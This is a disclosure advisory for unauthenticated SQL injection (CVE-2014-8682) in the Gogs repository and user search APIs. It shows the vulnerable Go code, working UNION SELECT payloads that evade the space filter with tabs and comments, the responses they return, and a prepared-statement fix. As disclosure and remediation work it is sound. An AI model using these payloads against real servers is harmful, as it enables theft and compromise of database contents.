Gogs - 'users'/'repos' '?q' SQL Injection

Unauthenticated SQL Injection in Gogs repository search
=======================================================
Researcher: Timo Schmid <[email protected]>


Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])

It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.

Gogs provides an api view to give javascript code the possibility to
search for
existing repositories in the system. This view is accessible at
/api/v1/repos/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.


Exploitation Technique
======================
Remote


Severity Level
==============
Critical


CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)


CVE-ID
======
CVE-2014-8682

Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.


Status
======
Fixed by Vendor


Vulnerable Code Section
=======================
models/repo.go:
[...]
// SearchRepositoryByName returns given number of repositories whose name
contains keyword.
func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err
error) {
    // Prevent SQL inject.
    opt.Keyword = FilterSQLInject(opt.Keyword)
    if len(opt.Keyword) == 0 {
        return repos, nil
    }
    opt.Keyword = strings.ToLower(opt.Keyword)

    repos = make([]*Repository, 0, opt.Limit)

    // Append conditions.
    sess := x.Limit(opt.Limit)
    if opt.Uid > 0 {
        sess.Where("owner_id=?", opt.Uid)
    }
    if !opt.Private {
        sess.And("is_private=false")
    }
    sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos)
    return repos, err
}
[...]

The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.


Proof of Concept
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27

Response:
{"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink"
:"bluec0re/root@localhost"}],"ok":true}


Solution
========
This vulnerability could easily be fixed by using prepared statements:

sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos)

Update to version 0.5.6.1105.


Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45


Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned


Credits
=======
Pascal Turbing <[email protected]>
Jiahua (Joe) Chen <[email protected]>


References
==========Update to version 0.5.6.1105.
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1402.txt


Advisory-ID
===========
BC-1402


Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.



Unauthenticated SQL Injection in Gogs user search
=================================================
Researcher: Timo Schmid <[email protected]>


Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])

It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.

Gogs provides an api view to give javascript code the possibility to
search for
existing users in the system. This view is accessible at
/api/v1/users/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)


CVE-ID
======
CVE-2014-8682


Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.


Status
======
Fixed by Vendor


Vulnerable Code Section
=======================
models/user.go:
[...]
// SearchUserByName returns given number of users whose name contains
keyword.
func SearchUserByName(opt SearchOption) (us []*User, err error) {
    opt.Keyword = FilterSQLInject(opt.Keyword)
    if len(opt.Keyword) == 0 {
        return us, nil
    }
    opt.Keyword = strings.ToLower(opt.Keyword)

    us = make([]*User, 0, opt.Limit)
    err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" +
opt.Keyword + "%'").Find(&us)
    return us, err
}
[...]

The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.


Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/
select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from
/**/mysql.db/**/where/**/('%25'%3D'

Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":
"//1.gravatar.com/avatar/"}],"ok":true}


Solution
========
This vulnerability could easily be fixed by using prepared statements:

err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" +
opt.Keyword + "%").Find(&us)

Update to version 0.5.6.1105.


Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45


Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned


Credits
=======
Pascal Turbing <[email protected]>
Jiahua (Joe) Chen <[email protected]>


References
==========
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1403.txt


Advisory-ID
===========
BC-1403


Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.


--
Timo Schmid

ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg  -  www.ernw.de
Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192
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